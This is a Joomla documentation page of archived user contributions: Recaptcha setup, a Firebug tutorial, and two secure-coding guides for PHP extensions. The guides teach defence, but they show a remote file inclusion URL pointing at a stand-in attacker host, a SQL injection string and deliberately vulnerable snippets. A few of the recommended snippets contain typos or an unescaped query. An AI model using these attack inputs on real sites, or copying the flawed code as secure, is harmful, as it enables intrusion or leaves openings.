Joomla! Documentation - User contributions [en]

Archived:How do you use Recaptcha in Joomla?

2012-06-05T14:20:11Z

Rand486: How to enable Recaptcha on a Joomla 2.5 site

Using Recaptcha is a great way of preventing bots from making fake accounts and content on your site.

There are five steps to setting up Recaptcha:

# Log in to your administrator back-end ([http://docs.joomla.org/Logging_in_or_out_of_the_Administrator_back-end How do I do this?])
# Go to Global Configuration, and select the "Site" tab.
#* Choose "Recaptcha" in your "Default Captcha" field.
#* Click Save & Close.
# Go to your Plug-In Manager. You can find this under Extension Manager along the top menu or in the buttons on the main page of your Administrator panel.
# Edit the Plug-In "Captcha - ReCaptcha"
#* Set Status to "Published"
#* Copy and paste the Public and Private keys in their appropriate fields on the right.
#** Get the Public and Private keys by signing in with your Google account (create an account if you don't have one) here: [https://www.google.com/recaptcha/admin/create Create a reCAPTCHA key]
#** Register your website domain, and Google will provide you with your ReCaptcha keys.
#* Click Save & Close

That's it! You're done!

[[Category:FAQ]]
[[Category:Administration FAQ]]
[[Category:Getting Started FAQ]]
[[Category:Version 2.5 FAQ]]

Using Firebug With Your Joomla Website

2012-01-16T16:23:28Z

Rand486:

[http://getfirebug.com/ Firebug] is a free add-on program that works with the [http://www.mozilla.com/firefox/ Firefox] web browser. It is tremendously helpful when you are working with Joomla! websites. Firebug lets you:
* quickly find the exact CSS code that styles any HTML element on a page;
* quickly identify the HTML code for any element on a page;
* instantly see the effects of changes to HTML or CSS code on the appearance of the page.

A free, narrated video tutorial called "Using Firebug With Your Joomla! Website" is available at the links below. To play the videos, just click on the links below. To download the video files to your local computer and play them locally, right-click each link in Firefox and select "Save Link As". The contents of each video is as follows:

[http://help.joomla.org/files/joomla_firebug_tutorial_part1.swf Part One with no subtitles] or
[http://community.joomla.org/videos/firebug_tutorial/firebug_tutorial_part1_english.swf Part One with English subtitles] (18 minutes)
* Install Firebug
* Firebug Layout
* Inspect Command
* Find Element From HTML
* Change CSS
* Add New CSS
* Explore Beez Template
* Beez Font Size Buttons
* Beez Tableless Design
* What's Next

[http://help.joomla.org/files/joomla_firebug_tutorial_part2.swf Part Two with no subtitles] or
[http://community.joomla.org/videos/firebug_tutorial/firebug_tutorial_part2_english.swf Part Two with English subtitles] (13 minutes)
* Module Class Suffixes
* Menu Styling
* Module Class Suffix Parameter
* Page Class Suffix Parameter
* Add Inline CSS Property
* Apply Style to New CSS Class
* Firebug Help Resources

[http://joomlacode.org/gf/download/frsrelease/10403/40595/firebug_tutorial.zip Click here] to download both tutorials in one Zip archive. Just unzip the archive and open the SWF files in your browser or SWF player.

===Other Languages Available===
This tutorial is also available with subtitles in the following languages:

Italian: [http://community.joomla.org/videos/firebug_tutorial/firebug_tutorial_part1_italian.swf Part One] [http://community.joomla.org/videos/firebug_tutorial/firebug_tutorial_part2_italian.swf Part Two]

Dutch: [http://community.joomla.org/videos/firebug_tutorial/firebug_tutorial_part1_dutch.swf Part One] [http://community.joomla.org/videos/firebug_tutorial/firebug_tutorial_part2_dutch.swf Part Two]

===Video Controls===
The videos have the following controls:
* Play / Pause
* Slider (to quickly position to any point in the video)
* Volume
* Table of Contents (pops up)
* Time Elapsed / Total Time
These are as shown in the picture below.

[[Image:Video_tutorial_controls_20090315.png|center|frame]]

[[Category:Tutorials]]

Secure coding guidelines

2012-01-11T16:28:49Z

Rand486: /* Constructing SQL queries */

The Joomla Framework includes many features that help with the task of securing applications and extensions built on it. You should always use these features if at all possible as they have been tried and tested by the many eyes of the developer community and any updates that might conceivably be required in the future will be automatically available whenever a Joomla update is applied. What follows is a description of best practice in using the Joomla API to ensure that your extensions are as secure as possible.

==Getting data from the request==
All input originating from a user must be considered potentially dangerous and must be cleaned before being used. You should always use the Joomla Framework [[JRequest]] class to retrieve data from the request, rather than the raw $_GET, $_POST or $_REQUEST variables as the [[JRequest]] methods apply input filtering by default. JRequest deals with all aspects of the user request in a way that is independent of the request method used. It can also be used to retrieve cookie data and even server and environment variables. However, it is important to use the correct [[JRequest]] method to ensure maximum security. It is very easy to just use the [[JRequest/getVar|JRequest::getVar]] method with default parameters and ignore the fact that in many cases it is possible to apply a more stringent requirement on user input.

It very important to understand that the [[JRequest]] methods are not SQL-aware and further work is required to guard against SQL injection attacks.There is no default value that will be returned if no default is specified in the call the [[JRequest/getVar|JRequest::getVar]]. If no default is specified and the argument is not present in the request variable then it will return undefined.

Using [[JRequest]] also obviates the need to pay attention to the setting of magic_quotes_gpc. [[JRequest]] does the right thing, regardless of whether magic_quotes_gpc is on or off. See http://php.net/manual/en/security.magicquotes.php for further information.

When considering user input you should think about the data type you are expecting to retrieve and apply the most stringent form of [[JRequest]] that is applicable in each case. In particular, avoid the lazy approach of using [[JRequest/get|JRequest::get]] as this will return an array that may contain entries that you did not expect and although each of those entries will have been cleaned, it is often the case that additional filtering could have been applied to some individual arguments. For example, the get method treats all arguments as strings, whereas it may be possible to restrict some arguments to be integers.

The first three parameters of each of the JRequest get methods are the same. Only the first parameter is mandatory. In general, the format is
<source lang="php">
JRequest::get<type>( <name>, <default>, <data-source> )
</source>
where

{| class="wikitable" border="1"
| <type> || the data type to be retrieved (see below for the types available).
|-
| <name> || the name of the variable to be retrieved (for example, the name of an argument in a URL).
|-
| <default> || the default value.
|-
| <data-source> || specifies where the variable is to be retrieved from (see below).
|}

The following values for <data-source> are supported:

{| class="wikitable" border="1"
| GET || Data submitted in the query part of the URL.
|-
| POST || Data submitted from form fields.
|-
| METHOD || The same as either GET or POST depending on how the request was made.
|-
| COOKIE || Data submitted in cookies.
|-
| REQUEST || All the GET, POST and COOKIE data combined. This is the default.
|-
| FILES || Information about files uploaded as part of a POST request.
|-
| ENV || Environment variables (platform-specific).
|-
| SERVER || Web server variables (platform-specific).
|}

Notice that the default is REQUEST, which includes cookie data.

The following sections look at each of the data types in more detail.

===Integer===
The following will accept an integer. An integer can include a leading minus sign, but a plus sign is not permitted.
<source lang="php">
$integer = JRequest::getInt( 'id' );
</source>
will return the value of the "id" argument from the request (which by default includes all GET, POST and COOKIE data). The default value is zero.
<source lang="php">
$integer = JRequest::getInt( 'myId', 12, 'COOKIE' );
</source>
will return the value of the "myId" variable from a cookie, with a default value of 12.

===Floating point number===
A floating point number can include a leading minus sign, but not a plus sign. If the number includes a decimal point, then there must be at least one digit before the decimal point. For example,
<source lang="php">
$float = JRequest::getFloat( 'price' );
</source>
will return the value of the 'price' argument from the request. The default is "0.0".
<source lang="php">
$float = JRequest::getFloat( 'total', 100.00, 'POST' );
</source>
will retrieve the value of the 'total' argument from a POST request (but not a GET), with a default value of 100.00.

===Boolean value===
Any non-zero value is regarded as being true; zero is false.
<source lang="php">
$boolean = JRequest::getBool( 'show' );
</source>
will return false if the value of the 'show' argument in the request is zero, or 1 (true) if the argument is anything else. The default is false. Note that any string argument will result in a return value of true, so calling the above with a URL containing "?show=false" will actually return true!
<source lang="php">
$boolean = JRequest::getBool( 'hide', true, 'GET' );
</source>
will retrieve the value of the 'hide' argument from a GET request (but not a POST), with a default value of true.

===Word===
A word is defined as being a string of alphabetic characters. The underscore character is permitted as part of a word.
<source lang="php">
$word = JRequest::getWord( 'search-word' );
</source>
will retrieve the value of the 'search-word' argument from the request. The default is an empty string.
<source lang="php">
$word = JRequest::getWord( 'keyword', '', 'COOKIE' );
</source>
will retrieve the value of the 'keyword' variable from a cookie, with the default being an empty string.

===Command===
A command is like a word but a wider range of characters is permitted. Allowed characters are: all alphanumeric characters, dot, dash (hyphen) and underscore.
<source lang="php">
$command = JRequest::getCmd( 'option' );
</source>
will retrieve the value of the "option" argument from the request. The default value is an empty string.
<source lang="php">
$command = JRequest::getCmd( 'controller', 'view', 'POST' );
</source>
will retrieve the value of the "controller" argument from a POST request (but not a GET), with a default value of 'view'.

===String===
The string type allows a much wider range of input characters. It also takes an optional fourth argument specifying some additional mask options. See [[#Filter options]] for information on the available masks.
<source lang="php">
$string = JRequest::getString( 'description' );
</source>
will retrieve the value of the "description" argument from the request. The default value is an empty string. The input will have whitespace removed from the left and right ends and any HTML tags will be removed.
<source lang="php">
$string = JRequest::getString( 'text', '', 'METHOD', JREQUEST_NOTRIM );
</source>
will retrieve the value of the "text" argument from the request.. The default value is an empty string. Leading and trailing whitespace will not be removed.
<source lang="php">
$string = JRequest::getString( 'template', '<html />', 'METHOD', JREQUEST_ALLOWHTML );
</source>
will retrieve the value of the "template" argument from the request. The default value is '<html />'. Leading and trailing whitespace will be removed, but HTML will be permitted.

===Generic and other data types===
If the above methods do not meet your needs, there is a small number of additional filter types which you can use by calling the [[JRequest/getVar|JRequest::getVar]] method directly. The syntax is:
<source lang="php">
JRequest::getVar( <name>, <default>, <data-source>, <type>, <options> );
</source>
where:

{| class="wikitable" border="1"
| <name> || the name of the variable to be retrieved (for example, the name of an argument in a URL).
|-
| <default> || the default value. There is no default value that will be returned if no default is specified in the call the [[JRequest/getVar|JRequest::getVar]]. If no default is specified and the argument is not present in the request variable then it will return undefined.
|-
| <data-source> || specifies where the variable is to be retrieved from (one of GET, POST, METHOD, COOKIE, REQUEST, ENV, SERVER; default is REQUEST).
|-
| <type> || specifies the data type expected (see below).
|-
| <options> || an optional bit-field used to specify options for some of the input filters (see below).
|}

The first three arguments are the same as for the more specific methods described earlier. Only the first argument is mandatory.

Allowed values of the <type>, which is case-insensitive, are as follows:

{| class="wikitable" border="1"
| INT, INTEGER || Equivalent to [[JRequest/getInt|JRequest::getInt]].
|-
| FLOAT, DOUBLE || Equivalent to [[JRequest/getFloat|JRequest::getFloat]].
|-
| BOOL, BOOLEAN || Equivalent to [[JRequest/getBool|JRequest::getBool]].
|-
| WORD || Equivalent to [[JRequest/getWord|JRequest::getWord]].
|-
| ALNUM || Allow only alphanumeric characters (a-z, A-Z, 0-9).
|-
| CMD || Equivalent to [[JRequest/getCmd|JRequest::getCmd]].
|-
| BASE64 || Allow only those characters that could be present in a base64-encoded string (ie. a-z, A-Z, 0-9, /, + and =).
|-
| STRING || Equivalent to [[JRequest/getString|JRequest::getString]].
|-
| ARRAY || Source is not filtered but is cast to array type.
|-
| PATH || Valid pathname regex that filters out common attacks. For example, any path beginning with a "/" will return an empty string. Simliarly, any path containing "/./" or "/../" will return an empty string. Dots within filenames are okay though.
|-
| USERNAME || Removes control characters (0x00 - 0x1F), 0x7F, <, >, ", ', % and &.
|}

===Filter options===
Allowed values of <options> are as follows (none of these are applied by default):

{| class="wikitable" border="1"
| JREQUEST_NOTRIM || Does not remove whitespace from the start and ends of strings.
|-
| JREQUEST_ALLOWRAW || Does not do any filtering at all. Use with extreme caution.
|-
| JREQUEST_ALLOWHTML || Does not remove HTML from string inputs.
|}

Masks can be combined by logically OR'ing them. If no filter options are specified, then by default, whitespace is trimmed and HTML is removed.

===File uploads===
Web servers already have a good deal of security around handling file uploads, but it is still necessary to take additional steps to ensure that file names and paths cannot be abused. A simplified form which requests a file to be uploaded looks like this:
<source lang="html4strict">
<form action="index.php?option=com_mycomponent/form_handler.php" method="post" enctype="multipart/form-data">
<input type="file" name="Filedata" />
<input type="submit" />
</form>
</source>
On clicking the submit button, the browser will upload the file in a POST request, passing control to Joomla which will call "components/com_mycomponent/form_handler.php". This will include code like the following. The variable $somepath must be set to some path where the web server has permission to create files.
<source lang="php">
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die( 'Restricted access' );

// Get the file data array from the request.
$file = JRequest::getVar( 'Filedata', '', 'files', 'array' );

// Make the file name safe.
jimport('joomla.filesystem.file');
$file['name'] = JFile::makeSafe($file['name']);

// Move the uploaded file into a permanent location.
if (isset( $file['name'] )) {

// Make sure that the full file path is safe.
$filepath = JPath::clean( $somepath.'/'.strtolower( $file['name'] ) );

// Move the uploaded file.
JFile::upload( $file['tmp_name'], $filepath );
}
</source>

===Saving a request variable into user state===
Because setting a user state variable from a variable in the request is such a common operation, there is an API method to make the task easier. This is generally safe to use because it calls [JRequest/getVar|JRequest::getVar]] to obtain the input from the request, but remember that none of the input filtering calls will protect against SQL injection attempts.
<source lang="php">
$app =& JFactory::getApplication();
$app->getUserStateFromRequest( <key>, <name>, <default>, <type> );
</source>
where
{| class="wikitable" border="1"
| <key> || the name of the variable in the user state.
|-
| <name> || the name of the request variable (same as the first argument of a [[JRequest/getVar|JRequest::getVar]] call).
|-
| <default> || the default value to be assigned to the user state variable if the request variable is absent. The default is null.
|-
| <type> || the type of variable expected (same as the fourth argument of a [[JRequest/getVar|JRequest::getVar]] call).
|}

For example, getting an integer variable called 'id' from the request with a default value of 0, then saving it into a session variable called 'myid' can be done like this:
<source lang="php">
$app =& JFactory::getApplication();
$app->getUserStateFromRequest( 'myid', 'id, 0, 'int' );
</source>
instead of something like this:
<source lang="php">
$app =& JFactory::getApplication();
$app->setUserState( 'myid', JRequest::getInt( 'id', 0 ) );
</source>

==Constructing SQL queries==
One of the most common forms of attack on web applications is SQL injection, where the aim of the attacker is to change a database query by exploiting a poorly filtered input variable. Injecting modified SQL statements into the database can damage data or reveal private information. It is important to ensure that when SQL statements are constructed, they are correctly escaped and quoted so that bad input data cannot result in a bad SQL statement. You cannot rely on the [[JRequest]] methods to do this as they are not SQL-aware.

With the MySQL database, numeric fields should not be quoted, so it is important that they be typecast instead. Failure to do this will leave your code vulnerable to an attacker inserting a string containing SQL data.

Depending on the type, numeric types are cast like this:
<source lang="php">
// For SQL data types: INT, INTEGER, TINYINT, SMALLINT, MEDIUMINT, BIGINT, YEAR
$query = 'SELECT * FROM #__table WHERE `id`=' . (int) $id;
// For SQL data types: FLOAT, DOUBLE
$query = 'SELECT * FROM #__table WHERE `id`=' . (float) $id;
</source>
It's a good idea to get into the habit of always typecasting integers like this even if the variable was previously obtained using [[Further information on SQL injection attacks can be found here: http://php.net/manual/en/security.database.sql-injection.php and here: [[JRequest/getInt|JRequest::getInt]].

In the examples that follow it is assumed that $db is an instance of a Joomla database object. This can always be obtained from [[JFactory]] using
<source lang="php">
$db =& JFactory::getDBO();
</source>
Strings should always be escaped before being used in an SQL statement. This is actually very simple as the [[JDatabase->quote]] method escapes everything for you. You can also use the [[JDatabase->getEscaped]] method directly. The following statements are equivalent:
<source lang="php">
$query = 'SELECT * FROM #__table WHERE `field` = ' . $db->quote( $db->getEscaped( $field ), false );

$query = 'SELECT * FROM #__table WHERE `field` = ' . $db->quote( $field );
</source>
Special attention should be paid to LIKE clauses which contain the % wildcard character as these require special escaping in order to avoid possible denial of service attacks. LIKE clauses can be handled like this:
<source lang="php">
// Construct the search term by escaping the user-supplied string and, if required, adding the % wildcard characters manually.
$search = '%' . $db->getEscaped( $search, true ) . '%' );

// Construct the SQL query, being careful to suppress the default behaviour of Quote so as to prevent double-escaping.
$query = 'SELECT * FROM #__table WHERE `field` LIKE ' . $db->quote( $search, false );
</source>
If data is to be entered into a datetime column then you can use the Joomla API to ensure a valid date format:
<source lang="php">
$date =& JFactory::getDate( $mydate );
$query = 'UPDATE #__table SET `date` = ' . $db->quote( $date->toMySQL(), false );
</source>
Note that it is necessary to suppress database escaping as legitimate dates may contain characters that should not be escaped.

In the comparatively rare case where a field name is a variable, that should also be quoted using an API call:
<source lang="php">
$query = 'SELECT * FROM #__table WHERE ' . $db->NameQuote( $field-name ) . '=' . $db->quote( $field-value );
</source>

==Securing forms==
Apart from cleaning input variables as described above, you can also implement a simple technique which makes it more difficult for a cross-site request forgery attack (CSRF) to succeed. This involves adding a randomly-generated unique token to the form which is checked against a copy of the token held in the user's session. By checking that the submitted token matches the one contained in the stored session, it is possible to tie a rendered form to the request variables presented.

In POST forms you should add a hidden token field using:
<source lang="php">
echo JHTML::_( 'form.token' );
</source>
This outputs the token as a hidden form field looking like this:
<source lang="html4strict">
<input type="hidden" name="8cb24ae69ffd7828ccecbcf06056e6fc" value="1" />
</source>
and places a copy of the token into the user's session, for later checking.

If you need to add the token to a URL rather than a form then you can use something like this:
<source lang="php">
echo JRoute::_( 'index.php?option=com_mycomponent&' . JUtility::getToken() . '=1' );
</source>

In the most common scenario, you will want to check the token following a POST to the form handler. This can be done by adding this line of code to form handler:
<source lang="php">
JRequest::checkToken() or die( JText::_( 'Invalid Token' ) );
</source>
If you need to pass the token in a GET request then you can check it like this:
<source lang="php">
JRequest::checkToken( 'get' ) or die( JText::_( 'Invalid Token' ) );
</source>

In both cases the code will die if the token is omitted from the request, or the submitted token does not match the session token. If the token is correct but has expired, then [[JRequest/checkToken|JRequest::checkToken]] will automatically redirect to the site front page.

==Cleaning filesystem paths==
If there is any possibility that a filesystem path might be constructed using data that originated from user input, then the path must be cleaned and checked before being used. This can be done quite simply like this:
<source lang="php">
JPath::check( $path );
</source>
This will raise an error and terminate Joomla if the path contains a ".." or leads to a location outside the Joomla root directory. If you want to deal with the error yourself without terminating the application, then you can use code like this:
<source lang="php">
$path = JPath::clean( $path );
if (strpos( $path, JPath::clean( JPATH_ROOT ) ) !== 0) {
// Handle the error here.
}
</source>
The [[JPath:clean]] method can be used in your own code too. It merely removes leading and trailing whitespace and replace double slashes and backslashes with the standard directory separator.

==Cleaning filesystem file names==
As with filesystem paths, if there is any possibility that a file name might be constructed using user-originated data, then the file name must be cleaned and checked before use. This can be done like this:
<source lang="php">
jimport('joomla.filesystem.file');
$clean = JFile::makeSafe( $unclean );
</source>
This method removes sequences of two or more "." characters and any character that is not alphabetic, numeric or a dot, dash or underscore character. If there is a leading dot then that is removed too.
[[Category:Development]][[Category:Security]]

Securing Joomla extensions

2012-01-11T16:19:24Z

Rand486: /* Secure your software against direct access */

{{JVer|1.0}} ''This article applies mainly to Joomla 1.0. Please be careful when applying the techniques mentioned in it to newer versions of Joomla.''

By default, Joomla! is very secure. Especially with the coming Joomla! 1.5 release, security will again be improved. While most core components are safe and secure, often hackers get into the system by using third party extensions. This article is targeted at giving you an easy guide for making your extension as safe as possible.

''We strongly recommend using these functions to ensure maximum security.''

== Intro: Guide to more secure Components/Modules/Plugins... ==
Are you a third party developer for Joomla! addons? Do you publish your programs on the Joomla! forge or on your website? Well, thank you for doing that, the community probably loves you for sharing your work!

However, there are a few things in terms of security that you should be aware of. Just having a component that runs fine on your computer is usually not enough! You need to take care of security, because otherwise your programm could easily ruin the websites of your customers.

So, lets just jump right into it. These are the topics I will deal with in this guide:

* Secure your software against direct access
* Secure your software against remote file inclusion
* Secure your software against SQL injections
* Secure your software against XSS scripting
* Make sure your software does not need register_globals
* Check access privileges of users
* How to achieve raw component output (for pictures, RSS-feeds etc.)
* Various things to be aware of

Please note that when I refer to components, I also mean modules, plugins (formerly mambots) and templates as well. All code examples in this guide are written for Joomla! 1.0.x and Joomla! 1.5.x.

== Secure your software against direct access ==
The files of your component will usually be called by Joomla!. Joomla! is a wrapper around your software, it provides many useful features like user authentication and so on. Since developers usually test their components only through Joomla!, they tend to forget about the possibility of calling files directly. Instead of calling your component by

<source lang="php">
http:/ /www.example.com/index.php?option=com_yourcomponent
</source>
crackers also might try to use
<source lang="php">
http:/ /www.example.com/components/com_yourcomponent/yourcomponent.php
</source>

As you can see, the PHP file will be executed directly, without Joomla! as a wrapper around it. Now, if your file only contains some classes or functions, but does not execute any code, there is nothing wrong about that:

<source lang="php">
<?php
class myClass {
[SomeFunctionsHere]
}
function myFunction() {
[SomeCodeHere]
}
?>
</source>

The cracker would just see an empty page when accessing your file directly. But if that PHP file actually executes anything, he would probably see a bunch of error messages, revealing important details of your system. Under some circumstances, he might also be able to execute any code he wants to, on your system!

'''Conclusion:'''

To make your component secure against direct access, insert this code line into the beginning of every PHP file that executes code:

<source lang="php">
// no direct access
defined( '_VALID_MOS' ) or die( 'Restricted access' );
</source>

<source lang="php">
// no direct access
defined('_JEXEC') or die('Restricted access');
</source>

This is a MUST for every file that executes PHP code. If you are in doubt whether your file executes code, do use this line!

== Secure your software against remote file inclusion ==
Now imagine, you have a line like this one in your code:

<source lang="php">
include( $mosConfig_absolute_path . '/components/com_yourcomponent/yourcomponent.class.php' );
</source>

Furthermore, imagine that a cracker tries to access your file as

<source lang="php">
http://www.example.com/components/com_yourcomponent/yourcomponent.php?
mosConfig_absolute_path=http://www.bad.site/bad.gif?
</source>
and actually sends back executable PHP code under the filename of that image. That code then is executed (assuming that register_globals is switched on in your webserver, which unfortunaltely is the case for many people) in your or your customers webserver with the permissions of the webserver. The attacker can do anything he wants to do (and what the webserver is allowed for) on your webserver! This is called remote file inclusion. Unfortunately, this is something even script kiddies can do easily.
There are also some more advanced technics out there that allow for remote file inclusion in some PHP versions even if you have switched register_globals off. Remote file inclusion only works on systems that have the PHP setting allow_url_fopen switched to on. But as this option is needed by many "good" programs as well, switching it off is not always a good idea.

'''Conclusion:'''
To secure your code against remote file inclusion, you need to make sure no unvalidated input is used when including files. At first, apply the solution from part 1 of this guide. Secondly, be very carefull with all calls to functions dealing with the file system, especially e.g. include, require, include_once, require_once, fopen. If you really need to include files with variable names, make sure to validate all these variables.

A good practice to include files is using constants [2.2]:

<source lang="php">
define( 'YOURBASEPATH', dirname(__FILE__) );
require_once( YOURBASEPATH . '/file_to_include.php' );
</source>

<source lang="php">
define( 'YOURBASEPATH', dirname(__FILE__) );
require_once( YOURBASEPATH . '/file_to_include.php' );
</source>

As this uses no variables at all, there is no chance for a cracker to open files from remote servers.

== Secure your software against SQL injections ==
SQL injections make it possible for attackers to modify certain unsafe SQL queries, your script executes, in such a way that it could alter data in your database or give out sensible data to the attacker. That is because of unvalidated user input.

Take a look at this code:

<source lang="php">
$value = $_GET['value'];
$database->setQuery( "SELECT * FROM #__mytable WHERE id = $value" );
</source>

An attacker could hand over a string like '1 OR 1', the query results in <source lang="php">"SELECT * FROM #__mytable WHERE id = 1 OR 1"</source>, thus returning all rows from jos_mytable. I'm not going more into detail here, as SQL injections are covered quite good on the web. Please take a look at the resources listed at the bottom of this post.

'''Conclusion:'''
Validate all user input before you use it in a SQL query. Apply

<source lang="php">
$string = $database->getEscaped( $string );
</source>

<source lang="php">
$string = $db->getEscaped( $string );
</source>

to all strings that will be used in SQL queries, and apply

<source lang="php">
$value = intval( $value );
</source>

<source lang="php">
$value = intval( $value );
</source>

to all integer numbers you use in SQL queries.
Again, for more information on SQL injections, please take a look at the listed resources, especially [3.2].

Also, make sure to use mosGetParam() [5.5] for retrieving user input from the request, e.g.:

<source lang="php">
$value = mosGetParam( $_POST, 'value' );
$value = mosGetParam( $_POST, 'value', 'default' ); // This will return 'default'
// when $_POST['value'] is not set.
</source>

mosGetParam will return escaped values, independantly of PHP's magic_quotes_gpc setting.

**Warning:**mosGetParam (and quotes escaping) is not protecting against some injections for numbers. You must convert the variable to an int with inval($var) or (int) $var in order to prevent those injections.

In Joomla! 1.5 use JRequest::getvar(), e.g.:

<source lang="php">
$value = JRequest::getVar( 'value', '', 'post', string );
$value = JRequest::getVar( 'value', 'default', 'post', string ); // This will return
// 'default' when $_POST['value'] is not set.
</source>

JRequest::getVar will return **__unescaped__** values, independantly of PHP's magic_quotes_gpc setting. In Joomla! 1.5, due to UTF-8 support, the Framework rule is that variables in the code are unescaped, and proper database escaping must be applied at database request time with $db->getEscaped( $string ) or using the object-methods save() which do the proper escaping.

== Secure your software against XSS ==
Cross Site Scripting (XSS) means executing script code (e.g. JavaScript) in a visitors browser. Be carefull not to echo out any unvalidated input to a user. Code like this is dangerous for your visitors:

<source lang="php">
echo $_REQUEST['value'];
</source>

'''Conclusion:'''
Use mosGetParam() [5.5] for retrieving user input from a request, it does strip out a pretty good amount of insecure stuff. But don't rely on it, also take a good look at places where you echo out things to the webbrowser. Apply

<source lang="php">
$value = htmlspecialchars( $value );
</source>

to strings before you echo them out to the browser.

== Make sure your software does not need register_globals ==
Up to now, there are many programs that rely on register_globals being set to ON. PHP then imports all $_GET, $_POST, $_COOKIE data and some other variables into the global scope. When people program things correctly, there is not neccessarily anything wrong about it. But unfortunaltely there are very many programs out there using global variables in an insecure way. This might open up serious security holes. Therefore, users are advised to switch off register_globals, and more and more hosting companies do so for security reasons.

You should never use any uninstantiated variables. Make sure to properly fill each variable before using it. To check whether your component is capable of running without register_globals, you should do the following:

* Enable error reporting in PHP to see notices. This will give you some hints on which variables are used without prior initialization.
* Set register_globals to off in your php.ini.
* Set RG_EMULATION to 0 in globals.php in your Joomla! root folder.

Also, it is a bad practice to access variables like this (read resource [5.4] for more technical details):

<source lang="php">
echo $GLOBALS['varname'];
</source>

You should rather use this:

<source lang="php">
global $varname;
echo $varname;
</source>

== Check access privileges of users ==
When giving access to certain components (or to certain database table rows) you might want to make sure that only registered or special users can access it. I'm not going into any ACL related issues here, I rather want to give you a short overview on how to distinguish guest, registered (and logged in) users, and special users (by default all users below Registered, meaning Authors, Publishers etc.).

Joomla! provides (again, only in in 1.0.x) the $my object which holds information about the current user. These are the settings for the different access types (only applies to the frontend):

* $my->gid = 0 ==> the user is not logged in
* $my->gid = 1 ==> the user is a registered user
* $my->gid = 2 ==> the user is a special user

'''Conclusion:'''
You can check these values to block access to certain parts of your component.

Also, make sure not to present any information to a user he does not have access to. A simple SQL query that takes into account the permissions of the category for a certain databse entry (assuming your data is sorted into categories) might look like this:

<source lang="php">
SELECT * FROM #__contact_details AS c
LEFT JOIN #__categories AS cat ON cat.id = c.catid
WHERE ( c.name LIKE '%$text%' )
AND c.published = 1
AND cat.published = 1
AND c.access <= $my->gid
AND cat.access <= $my->gid
</source>

<source lang="php">
// Initialize variables as example how to get the current user
$app = & $this->getApplication();
$user = & $app->getUser();

SELECT * FROM #__contact_details AS c
LEFT JOIN #__categories AS cat ON cat.id = c.catid
WHERE ( c.name LIKE '%$text%' )
AND c.published = 1
AND cat.published = 1
AND c.access <= $user->get('gid')
AND cat.access <= $user->get('gid')
</source>

Note that both the contact details and the category are checked for being published and for being within the users access level.

== How to achieve raw component output (for pictures, RSS-feeds etc.) ==
In some cases, users need to send out raw data (no Joomla! template around it) to the browser, for example binary pictures or XML data for RSS feeds. Developers tend to write their own entry point PHP files, but this should only be a last resort. It is better to let Joomla! handle things.

'''Conclusion:'''
You should add a new function to your component (and to the switch statement that handles the selected $task). Then, call your component like this:

<source lang="php">
http:/ /www.example.com/index2.php?option=com_yourcomponent&task=your_task&no_html=1
</source>

If you really need to provide an entry point – a file that might be called directly – make sure to take care of part 2 of this guide. Secondly, the first thing you should do in your code is to include Joomla!'s globals.php (and if needed, Joomla!'s configuration.php).

<source lang="php">
define( 'YOURBASEPATH', dirname(__FILE__) );
require_once( YOURBASEPATH . '/../../globals.php' );
require_once( YOURBASEPATH . '/../../configuration.php' );
</source>

Again, you are advised to not provide your own entry point, and if you do, be very carefull with it.

== Various things to be aware of ==
There are some more things you should not do, and also some functions you should not use at all.

* Don't use eval(). eval() is evil! Tongue
* Don't use the backtick operator [8.2], exec, shell_exec, system, popen and such functions
* Don't automatically send out an email to you whenever your component becomes installed somewhere. This will give you a bad reputation!
* We should never ever see the use of @$_GET or @$_POST, etc, in the code

== Resources ==

=== Secure your software against direct access ===

* No resources so far.

=== Secure your software against remote file inclusion ===

* http://www.owasp.org/index.php/PHP_Top_5#P1:_Remote_Code_Execution
* http://dev.joomla.org/index.php?option=com_jd-wiki&Itemid=31&id=faq:path_constants For Joomla! 1.5

=== Secure your software against SQL injections ===

* http://en.wikipedia.org/wiki/Sql_injection
* http://php.net/manual/en/security.database.sql-injection.php
* http://www.owasp.org/index.php/PHP_Top_5#P3:_SQL_Injection

=== Secure your software against XSS scripting ===

* http://en.wikipedia.org/wiki/XSS
* http://www.owasp.org/index.php/Cross_Site_Scripting
* http://www.owasp.org/index.php/PHP_Top_5#P2:_Cross-site_scripting
* http://php.net/manual/en/function.htmlspecialchars.php

=== Make sure your software does not need register_globals ===

* http://php.net/manual/en/function.error-reporting.php Make sure your level for error_reporting includes E_NOTICE
* http://php.net/manual/en/ini.core.php#ini.register-globals
* http://php.net/manual/en/language.variables.predefined.php
* http://www.hardened-php.net/index.76.html
* http://forum.joomla.org/index.php/topic,15691.0.html

=== Check access privileges of users ===

* No resources so far.

=== How to achieve raw component output (for pictures, RSS-feeds etc.)===

* No resources so far.

=== Various things to be aware of ===

* http://www.owasp.org/index.php/PHP_Top_5#How_to_Determine_if_you_are_Vulnerable
* http://php.net/manual/en/language.operators.execution.php

[[Category:Development]]
[[Category:Tutorials]]
[[Category:Security Checklist]]